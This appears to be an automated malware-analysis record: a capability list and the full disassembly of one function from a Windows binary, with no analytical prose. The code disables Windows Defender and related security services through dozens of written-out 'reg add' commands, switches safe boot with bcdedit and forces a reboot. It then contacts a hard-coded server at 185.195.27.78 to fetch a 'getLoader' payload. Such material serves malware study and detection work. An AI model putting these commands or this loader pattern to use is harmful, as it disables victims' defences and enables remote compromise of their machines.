Function at 0x140002850
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Execute command
Initialize winsock library
Persist via windows service
Query or enumerate registry value
Send data
Send data on socket
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x130], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140006600]
movdqu xmmword [rsp + 0x40], xmm1
mov rax, qword [str.w32time]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140005734]
mov word [rsp + 0x34], ax
movzx eax, byte [0x140005736]
mov byte [rsp + 0x36], al
mov byte [rsp + 0x37], 0
lea rcx, [rsp + 0x30]
call fcn.140002330
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002900
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003060
call fcn.140003a0c
lea rcx, [0x140005654]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140006600]
movdqu xmmword [rsp + 0x40], xmm1
mov rax, qword [str.w32time]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140005734]
mov word [rsp + 0x34], ax
movzx eax, byte [0x140005736]
mov byte [rsp + 0x36], al
mov byte [rsp + 0x37], 0
lea rcx, [rsp + 0x30]
call fcn.140001b70
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000299d
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002998
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003060
call fcn.140003a0c
lea rcx, [0x140005654]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov ecx, 0x20
call fcn.1400039d0
mov qword [rsp + 0x30], rax
movdqa xmm0, xmmword [reloc.WS2_32.dll_recv]
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.time.windows.com]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
lea rcx, [rsp + 0x30]
call fcn.140001ff0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002a30
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003060
call fcn.140003a0c
lea rcx, [0x140005654]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140006600]
movdqu xmmword [rsp + 0x40], xmm1
mov rax, qword [str.w32time]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140005734]
mov word [rsp + 0x34], ax
movzx eax, byte [0x140005736]
mov byte [rsp + 0x36], al
mov byte [rsp + 0x37], 0
lea rcx, [rsp + 0x30]
call fcn.140001db0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002acd
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ac8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003060
call fcn.140003a0c
lea rcx, [0x140005654]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], recv
mov qword [rsp + 0x48], socket
movsd xmm0, qword [str.w32tm__resync]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140005758]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x14000575c]
mov byte [rsp + 0x3c], al
mov byte [rsp + 0x3d], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
test eax, eax
je 0x140002b85
lea rdx, str.Command_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400031d0
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.1400037c0
lea rdx, str._with_error_code
mov rcx, rax
call fcn.1400031d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x140002bb6
lea rdx, str.Command_succeeded:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400031d0
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.1400037c0
lea rdx, [0x1400033b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002c07
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003a0c
lea rcx, [0x140005654]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x5c], 4
mov dword [rsp + 0x58], 4
mov ecx, 0x43
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetServicesWdFilter
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x5c]
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test ebx, ebx
jne 0x140002cac
cmp dword [rsp + 0x60], 4
je 0x140002e80
lea rcx, str.bcdedit__set_default_safeboot_minimal
jmp 0x140002e6d
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceswisvc___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWSearch___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWdBoot___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWdFilter___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWdNisDrv___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWdNisSvc___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWerSvc___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinDefend___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesUserDataSvc___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesUnistoreSvc___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSense___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTelemetry___v_Tag__t_REG_DWORD__d_3__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesPimIndexMaintenanceSvc___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslfsvc___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMessagingService___v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderAdvanced_Threat_ProtectionStatus___v_Enabled__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableBehaviorMonitoring__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableOnAccessProtection__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableScanOnRealtimeEnable__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableScanOnRealtimeEnableWithoutRetries__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableArchiveScanning__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableIntrusionPreventionSystem__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableScriptScanning__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableBlockAtFirstSeen__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisablePrivacyMode__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_SignatureDisableUpdateOnStartupWithoutEngine__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableIOAVProtection__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableRealtimeMonitoring__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableBehaviorMonitoring__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableBlockAtFirstSeen__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisablePrivacyMode__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_SignatureDisableUpdateOnStartupWithoutEngine__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableIOAVProtection__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_DefenderMP___v_DisableRealtimeMonitoring__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.bcdedit__deletevalue_default_safeboot
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x202
lea rdx, [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140002ed3
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea rdx, str.WSAStartup_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400031d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x1400033b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14000306e
mov edx, 1
mov ebx, 2
mov r8d, 6
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002f3a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea rdx, str.Socket_creation_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400031d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x1400033b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x14000306e
mov word [rsp + 0x68], bx
mov ecx, 0x270f
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x6a], ax
lea r8, [rsp + 0x6c]
lea rdx, str.185.195.27.78
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140002fcb
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Connection_to_server_failed:
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400031d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x1400033b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x14000306e
xor r9d, r9d
mov r8d, 9
lea rdx, str.getLoader
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140002ff8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Failed_to_send_request:
jmp 0x140002f89
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov rdx, rdi
lea rcx, [rsp + 0x78]
call fcn.140001700
nop
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, [rsp + 0x78]
call fcn.1400019c0
nop
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14000306c
mov rdx, qword [rbp - 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003067
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003067
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003a0c
xor eax, eax
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.1400039b0
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret